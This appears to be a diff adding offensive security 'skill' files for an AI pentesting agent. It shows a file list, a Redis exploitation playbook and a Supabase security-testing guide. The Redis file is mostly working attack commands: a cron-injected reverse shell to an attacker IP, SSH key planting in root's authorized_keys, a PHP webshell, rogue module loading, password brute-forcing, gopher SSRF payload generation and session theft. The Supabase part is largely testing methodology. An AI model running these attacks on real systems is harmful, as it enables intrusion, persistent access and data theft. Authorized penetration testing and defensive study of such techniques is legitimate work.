  290. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  291. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  292. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  293. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  294. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  295. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  296. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  297. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  298. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,236 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: redis
5
+ description: Security testing playbook for Redis covering unauthenticated access, RCE via cron/SSH key injection, SSRF-to-Redis, Lua scripting, and data extraction
6
+ ---
7
+
8
+ # Redis Security Testing
9
+
10
+ Redis is a high-value target: unauthenticated by default in older versions, and if accessible leads directly to RCE via cron job injection, SSH key writing, or webshell placement. Common finding in internal networks and via SSRF.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Discovery
17
+
18
+ # Port scanning
19
+ nmap -p 6379 <target> -sV --open -sC
20
+
21
+ # Default port: 6379
22
+ # Sentinel: 26379
23
+ # Cluster: 7000-7005
24
+
25
+ # Redis banner
26
+ nc <target> 6379
27
+ PING # Returns: +PONG → no auth required
28
+ INFO server # Returns: full server info
29
+
30
+ # nmap redis scripts
31
+ nmap --script redis-info,redis-brute <target> -p 6379
32
+
33
+ ---
34
+
35
+ ## Unauthenticated Access
36
+
37
+ # Basic auth test
38
+ redis-cli -h <target> -p 6379 PING
39
+ # PONG = no authentication required
40
+
41
+ redis-cli -h <target> INFO server # Server info
42
+ redis-cli -h <target> CONFIG GET * # All configuration
43
+ redis-cli -h <target> KEYS * # All keys
44
+ redis-cli -h <target> DBSIZE # Number of keys
45
+
46
+ ---
47
+
48
+ ## Data Extraction
49
+
50
+ # List all keys
51
+ redis-cli -h <target> KEYS *
52
+ redis-cli -h <target> KEYS "user*"
53
+ redis-cli -h <target> KEYS "session*"
54
+ redis-cli -h <target> KEYS "token*"
55
+
56
+ # Get value by key
57
+ redis-cli -h <target> GET <key>
58
+ redis-cli -h <target> TYPE <key> # string, hash, list, set, zset
59
+
60
+ # Hash operations (common for sessions):
61
+ redis-cli -h <target> HGETALL <key> # All fields in hash
62
+ redis-cli -h <target> HKEYS <key>
63
+
64
+ # Scan (safer than KEYS * on large dbs)
65
+ redis-cli -h <target> SCAN 0 COUNT 100
66
+
67
+ # Dump all key-value pairs:
68
+ redis-cli -h <target> --scan | while read key; do
69
+ echo "KEY: $key"
70
+ redis-cli -h <target> GET "$key"
71
+ done
72
+
73
+ ---
74
+
75
+ ## Remote Code Execution via File Write
76
+
77
+ Redis's CONFIG SET allows changing the directory and filename for RDB/AOF saves — enabling arbitrary file write.
78
+
79
+ ### Method 1: Cron Job Injection (Linux)
80
+
81
+ redis-cli -h <target>
82
+ CONFIG SET dir /var/spool/cron/crontabs/
83
+ CONFIG SET dbfilename root
84
+ SET payload "\n\n* * * * * bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\n\n"
85
+ BGSAVE
86
+
87
+ # Wait ~1 minute for cron to execute
88
+ nc -lvnp 4444
89
+
90
+ ### Method 2: SSH Key Injection
91
+
92
+ # Generate SSH key pair on attacker:
93
+ ssh-keygen -t rsa -f /tmp/redis_rsa -N ""
94
+
95
+ redis-cli -h <target>
96
+ CONFIG SET dir /root/.ssh/
97
+ CONFIG SET dbfilename authorized_keys
98
+ SET pubkey "\n\n<contents of /tmp/redis_rsa.pub>\n\n"
99
+ BGSAVE
100
+
101
+ # Connect:
102
+ ssh -i /tmp/redis_rsa root@<target>
103
+
104
+ ### Method 3: Webshell (if web root is known)
105
+
106
+ redis-cli -h <target>
107
+ CONFIG SET dir /var/www/html/
108
+ CONFIG SET dbfilename shell.php
109
+ SET payload "<?php system($_GET['cmd']); ?>"
110
+ BGSAVE
111
+
112
+ # Access:
113
+ curl "http://<target>/shell.php?cmd=id"
114
+
115
+ ---
116
+
117
+ ## RCE via Redis Module Loading (Redis 4.x+)
118
+
119
+ # Load a malicious shared library:
120
+ redis-cli -h <target> MODULE LOAD /path/to/malicious.so
121
+ redis-cli -h <target> SYSTEM.EXEC "id"
122
+
123
+ # Compile malicious module (RedisModuleSDK):
124
+ # Tools: https://github.com/n0b0dyCN/RedisModulesSDK
125
+ # redis-rogue-server: automated exploitation
126
+ git clone https://github.com/n0b0dyCN/redis-rogue-server
127
+ python3 redis-rogue-server.py --rhost <target> --lhost <attacker>
128
+
129
+ ---
130
+
131
+ ## RCE via Lua Scripting
132
+
133
+ # Lua script execution (restricted but test for bypass):
134
+ redis-cli -h <target> EVAL "return redis.call('info')" 0
135
+
136
+ # OS command execution via Lua (Redis < 3.2.0):
137
+ redis-cli -h <target> EVAL "return redis.call('config', 'set', 'dir', '/tmp')" 0
138
+
139
+ ---
140
+
141
+ ## Authentication Bypass / Brute Force
142
+
143
+ # Test with blank auth:
144
+ redis-cli -h <target> AUTH ""
145
+
146
+ # Common Redis passwords:
147
+ redis-cli -h <target> AUTH redis
148
+ redis-cli -h <target> AUTH password
149
+ redis-cli -h <target> AUTH 123456
150
+ redis-cli -h <target> AUTH admin
151
+
152
+ # Brute force with hydra:
153
+ hydra -P /usr/share/wordlists/rockyou.txt redis://<target>
154
+
155
+ # nmap brute:
156
+ nmap --script redis-brute <target> -p 6379
157
+
158
+ ---
159
+
160
+ ## SSRF to Redis (Gopher Protocol)
161
+
162
+ If SSRF allows gopher:// protocol, you can send Redis commands through HTTP SSRF:
163
+
164
+ # Gopher URL format for Redis commands:
165
+ gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
166
+
167
+ # Generate gopher payload for Redis RCE:
168
+ python3 -c "
169
+ import urllib.parse
170
+
171
+ def encode_redis_cmd(*args):
172
+ cmd = f'*{len(args)}\r\n'
173
+ for arg in args:
174
+ cmd += f'\${len(arg)}\r\n{arg}\r\n'
175
+ return cmd
176
+
177
+ # Commands to set SSH key:
178
+ cmds = [
179
+ encode_redis_cmd('CONFIG', 'SET', 'dir', '/root/.ssh'),
180
+ encode_redis_cmd('CONFIG', 'SET', 'dbfilename', 'authorized_keys'),
181
+ encode_redis_cmd('SET', 'key', '\n\nssh-rsa AAAA... attacker@host\n\n'),
182
+ encode_redis_cmd('BGSAVE'),
183
+ ]
184
+
185
+ payload = ''.join(cmds)
186
+ gopher_url = 'gopher://127.0.0.1:6379/_' + urllib.parse.quote(payload)
187
+ print(gopher_url)
188
+ "
189
+
190
+ ---
191
+
192
+ ## Redis Cluster Enumeration
193
+
194
+ # Get cluster nodes
195
+ redis-cli -h <target> CLUSTER NODES
196
+ redis-cli -h <target> CLUSTER INFO
197
+
198
+ # Check for replication (master/slave):
199
+ redis-cli -h <target> INFO replication
200
+ # slaveof = address of master node
201
+
202
+ ---
203
+
204
+ ## Session Data Extraction
205
+
206
+ # Many web apps store sessions in Redis
207
+ # PHP sessions (laravel, symfony):
208
+ redis-cli -h <target> KEYS "laravel:*"
209
+ redis-cli -h <target> KEYS "PHPREDIS_SESSION:*"
210
+
211
+ # Node.js express sessions (connect-redis):
212
+ redis-cli -h <target> KEYS "sess:*"
213
+ redis-cli -h <target> GET "sess:<session_id>"
214
+
215
+ # Python Flask sessions:
216
+ redis-cli -h <target> KEYS "session:*"
217
+
218
+ # If session data found, decode and forge:
219
+ # JSON sessions → modify role, user_id, etc.
220
+ # Signed sessions → need secret key
221
+
222
+ ---
223
+
224
+ ## Pro Tips
225
+
226
+ 1. Redis without auth = immediate RCE via cron injection in most Linux environments
227
+ 2. SSH key injection is more reliable than cron (instant, doesn't need cron daemon)
228
+ 3. Always check `CONFIG GET dir` and `CONFIG GET dbfilename` to understand current save path
229
+ 4. Redis exposed via SSRF with gopher:// is an instant RCE chain to internal systems
230
+ 5. `KEYS *` on production Redis can be slow and disruptive — use `SCAN` instead
231
+ 6. Session keys starting with `sess:` or `laravel:` contain serialized auth data — goldmine
232
+ 7. Redis Sentinel on port 26379 often has weaker security than main Redis instance
233
+
234
+ ## Summary
235
+
236
+ Redis testing = PING for no-auth check + KEYS * for data extraction + cron/SSH RCE via CONFIG SET. Unauthenticated Redis = guaranteed RCE in most Linux environments via SSH key injection or cron job. Sessions stored in Redis are extractable and often forgeable. SSRF-to-Redis via gopher:// is a classic internal escalation chain.
@@ -0,0 +1,270 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: supabase
5
+ description: Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure
6
+ ---
7
+
8
+ # Supabase
9
+
10
+ Security testing for Supabase applications. Focus on mis-scoped Row Level Security (RLS), unsafe RPCs, leaked `service_role` keys, lax Storage policies, and Edge Functions trusting headers without binding to issuer/audience/tenant.
11
+
12
+ ## Attack Surface
13
+
14
+ **Data Access**
15
+ - PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
16
+ - GraphQL: pg_graphql over Postgres schema with RLS interaction
17
+ - Realtime: replication subscriptions, broadcast/presence channels
18
+
19
+ **Storage**
20
+ - Buckets, objects, signed URLs, public/private policies
21
+
22
+ **Authentication**
23
+ - Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
24
+
25
+ **Server-Side**
26
+ - Edge Functions (Deno): server-side code calling Supabase with secrets
27
+
28
+ ## Architecture
29
+
30
+ **Endpoints**
31
+ - REST: `https://<ref>.supabase.co/rest/v1/<table>`
32
+ - RPC: `https://<ref>.supabase.co/rest/v1/rpc/<fn>`
33
+ - Storage: `https://<ref>.supabase.co/storage/v1`
34
+ - GraphQL: `https://<ref>.supabase.co/graphql/v1`
35
+ - Realtime: `wss://<ref>.supabase.co/realtime/v1`
36
+ - Auth: `https://<ref>.supabase.co/auth/v1`
37
+ - Functions: `https://<ref>.functions.supabase.co/`
38
+
39
+ **Headers**
40
+ - `apikey: <anon-or-service>` — identifies project
41
+ - `Authorization: Bearer <JWT>` — binds user context
42
+
43
+ **Roles**
44
+ - `anon`, `authenticated` — standard roles
45
+ - `service_role` — bypasses RLS, must never be client-exposed
46
+
47
+ **Key Principle**
48
+ `auth.uid()` returns current user UUID from JWT. Policies must never trust client-supplied IDs over server context.
49
+
50
+ ## High-Value Targets
51
+
52
+ - Tables with sensitive data (users, orders, payments, PII)
53
+ - RPC functions (especially `SECURITY DEFINER`)
54
+ - Storage buckets with private files
55
+ - Edge Functions with `service_role` access
56
+ - Export/report endpoints generating signed outputs
57
+ - Admin/staff routes and privilege-granting endpoints
58
+
59
+ ## Reconnaissance
60
+
61
+ **Enumerate Surfaces**
62
+ ```
63
+ /rest/v1/<table>
64
+ /rest/v1/rpc/<fn>
65
+ /storage/v1/object/public/<bucket>/
66
+ /storage/v1/object/list/<bucket>?prefix=
67
+ /graphql/v1
68
+ /auth/v1
69
+ ```
70
+
71
+ **Obtain Principals**
72
+ - Unauthenticated (anon key only)
73
+ - Basic user A, user B
74
+ - Admin/staff (if available)
75
+ - Check if `service_role` key leaked in client bundle or Edge Function responses
76
+
77
+ ## Key Vulnerabilities
78
+
79
+ ### Row Level Security (RLS)
80
+
81
+ Enable RLS on every non-public table; absence or "permit-all" policies → bulk exposure.
82
+
83
+ **Common Gaps**
84
+ - Policies check `auth.uid()` for SELECT but forget UPDATE/DELETE/INSERT
85
+ - Missing tenant constraints (`org_id`/`tenant_id`) allow cross-tenant access
86
+ - Policies rely on client-provided columns (`user_id` in payload) instead of JWT
87
+ - Complex joins where policy is applied after filters, enabling inference via counts
88
+
89
+ **Tests**
90
+ ```bash
91
+ # Compare row counts for two users
92
+ GET /rest/v1/<table>?select=*&Prefer=count=exact
93
+
94
+ # Cross-tenant probe
95
+ GET /rest/v1/<table>?org_id=eq.<other_org>
96
+ GET /rest/v1/<table>?or=(org_id.eq.other,org_id.is.null)
97
+
98
+ # Write-path
99
+ PATCH /rest/v1/<table>?id=eq.<foreign_id>
100
+ DELETE /rest/v1/<table>?id=eq.<foreign_id>
101
+ POST /rest/v1/<table> with foreign owner_id
102
+ ```
103
+
104
+ ### PostgREST & REST
105
+
106
+ **Filters**
107
+ - `eq`, `neq`, `lt`, `gt`, `ilike`, `or`, `is`, `in`
108
+ - Embed relations: `select=*,profile(*)`—exploits overfetch if resolvers skip per-row checks
109
+ - Search leaks: generous `LIKE`/`ILIKE` filters combined with missing RLS → mass disclosure via wildcard queries
110
+
111
+ **Headers**
112
+ - `Prefer: return=representation` — echo writes
113
+ - `Prefer: count=exact` — exposure via counts
114
+ - `Accept-Profile`/`Content-Profile` — select schema
115
+
116
+ **IDOR Patterns**
117
+ ```
118
+ /rest/v1/<table>?select=*&id=eq.<other_id>
119
+ /rest/v1/<table>?select=*&slug=eq.<other_slug>
120
+ /rest/v1/<table>?select=*&email=eq.<other_email>
121
+ ```
122
+
123
+ **Mass Assignment**
124
+ - If RPC not used, PATCH can update unintended columns
125
+ - Verify restricted columns via database permissions/policies
126
+
127
+ ### RPC Functions
128
+
129
+ RPC endpoints map to SQL functions. `SECURITY DEFINER` bypasses RLS unless carefully coded; `SECURITY INVOKER` respects caller.
130
+
131
+ **Anti-Patterns**
132
+ - `SECURITY DEFINER` + missing owner checks → vertical/horizontal bypass
133
+ - `set search_path` left to public; function resolves unsafe objects
134
+ - Trusting client-supplied `user_id`/`tenant_id` rather than `auth.uid()`
135
+
136
+ **Tests**
137
+ ```bash
138
+ # Call as different users with foreign IDs
139
+ POST /rest/v1/rpc/<fn> {"user_id": "<foreign_id>"}
140
+
141
+ # Remove JWT entirely
142
+ Authorization: Bearer <anon_token>
143
+ ```
144
+ Verify functions perform explicit ownership/tenant checks inside SQL.
145
+
146
+ ### Storage
147
+
148
+ **Buckets**
149
+ - Public vs private; objects in `storage.objects` with RLS-like policies
150
+
151
+ **Misconfigurations**
152
+ ```bash
153
+ # Public bucket with sensitive data
154
+ GET /storage/v1/object/public/<bucket>/<path>
155
+
156
+ # List prefixes without auth
157
+ GET /storage/v1/object/list/<bucket>?prefix=
158
+
159
+ # Signed URL reuse across tenants/paths
160
+ ```
161
+
162
+ **Content-Type Abuse**
163
+ - Upload HTML/SVG served as `text/html` or `image/svg+xml`
164
+ - Verify `X-Content-Type-Options: nosniff` and `Content-Disposition: attachment`
165
+
166
+ **Path Confusion**
167
+ - Mixed case, URL-encoding, `..` segments may be rejected at UI but accepted by API
168
+ - Test path normalization differences between client validation and server handling
169
+
170
+ ### Realtime
171
+
172
+ **Endpoint**: `wss://<ref>.supabase.co/realtime/v1`
173
+
174
+ **Risks**
175
+ - Channel names derived from table/schema/filters leaking other users' updates when RLS or channel guards are weak
176
+ - Broadcast/presence channels allowing cross-room join/publish without auth
177
+
178
+ **Tests**
179
+ - Subscribe to `public:realtime` changes on protected tables; confirm visibility aligns with RLS
180
+ - Attempt joining other users' channels: `room:<user_id>`, `org:<org_id>`
181
+
182
+ ### GraphQL
183
+
184
+ **Endpoint**: `/graphql/v1` using pg_graphql with RLS
185
+
186
+ **Risks**
187
+ - Introspection reveals schema relations
188
+ - Overfetch via nested relations where resolvers skip per-row ownership checks
189
+ - Global node IDs leaked and reusable via different viewers
190
+
191
+ **Tests**
192
+ - Compare REST vs GraphQL responses for same principal and query shape
193
+ - Query deep nested fields; verify RLS holds at each edge
194
+
195
+ ### Auth & Tokens
196
+
197
+ GoTrue issues JWTs with claims (`sub=uid`, `role`, `aud=authenticated`).
198
+
199
+ **Verification Requirements**
200
+ - Issuer, audience, expiration, signature, tenant context
201
+
202
+ **Pitfalls**
203
+ - Storing tokens in localStorage → XSS exfiltration
204
+ - Treating `apikey` as identity (it's project-scoped, not user identity)
205
+ - Exposing `service_role` key in client bundle or Edge Function responses
206
+ - Refresh token mismanagement leading to long-lived sessions beyond intended TTL
207
+
208
+ **Tests**
209
+ - Replay tokens across services; check audience/issuer pinning
210
+ - Try downgraded tokens (expired/other audience) against custom endpoints
211
+
212
+ ### Edge Functions
213
+
214
+ Deno-based functions often initialize Supabase client with `service_role`.
215
+
216
+ **Risks**
217
+ - Trusting Authorization/apikey headers without verifying JWT against issuer/audience
218
+ - CORS: wildcard origins with credentials; reflected Authorization in responses
219
+ - SSRF via fetch; secrets exposed via error traces or logs
220
+
221
+ **Tests**
222
+ - Call functions with and without Authorization; compare behavior
223
+ - Try foreign resource IDs in payloads; verify server re-derives user/tenant from JWT
224
+ - Attempt to reach internal endpoints (metadata services) via function fetch
225
+
226
+ ### Tenant Isolation
227
+
228
+ Ensure every query joins or filters by `tenant_id`/`org_id` derived from JWT context, not client input.
229
+
230
+ **Tests**
231
+ - Change subdomain/header/path tenant selectors while keeping JWT tenant constant
232
+ - Export/report endpoints: confirm queries execute under caller scope
233
+
234
+ ## Bypass Techniques
235
+
236
+ - Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
237
+ - Parameter pollution: duplicate keys in JSON/query (PostgREST chooses last/first depending on parser)
238
+ - GraphQL+REST parity probing: protections often drift; fetch via the weaker path
239
+ - Race windows: parallel writes to bypass post-insert ownership updates
240
+
241
+ ## Blind Enumeration
242
+
243
+ - Use `Prefer: count=exact` and ETag/length diffs to infer unauthorized rows
244
+ - Conditional requests (`If-None-Match`) to detect object existence
245
+ - Storage signed URLs: timing/length deltas to map valid vs invalid tokens
246
+
247
+ ## Testing Methodology
248
+
249
+ 1. **Inventory surfaces** - Map REST, Storage, GraphQL, Realtime, Auth, Functions endpoints
250
+ 2. **Obtain principals** - Collect tokens for anon, user A/B, admin; check for `service_role` leaks
251
+ 3. **Build matrix** - Resource × Action × Principal
252
+ 4. **REST vs GraphQL** - Test both to find parity gaps
253
+ 5. **Seed IDs** - Start with list/search endpoints to gather IDs
254
+ 6. **Cross-principal** - Swap IDs, tenants, and transports across principals
255
+
256
+ ## Tooling
257
+
258
+ - PostgREST: httpie/curl + jq; enumerate tables; fuzz filters (`or=`, `ilike`, `neq`, `is.null`)
259
+ - GraphQL: graphql-inspector, voyager; deep queries for field-level enforcement
260
+ - Realtime: custom ws client; subscribe to suspicious channels; diff payloads per principal
261
+ - Storage: enumerate bucket listing APIs; script signed URL patterns
262
+ - Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions
263
+ - Policy diffing: maintain request sets per role; compare results across releases
264
+
265
+ ## Validation Requirements
266
+
267
+ - Owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata)
268
+ - Mis-scoped RPC or Storage signed URL usable by another user/tenant
269
+ - Realtime or GraphQL exposure matching missing policy checks
270
+ - Minimal reproducible requests with role contexts documented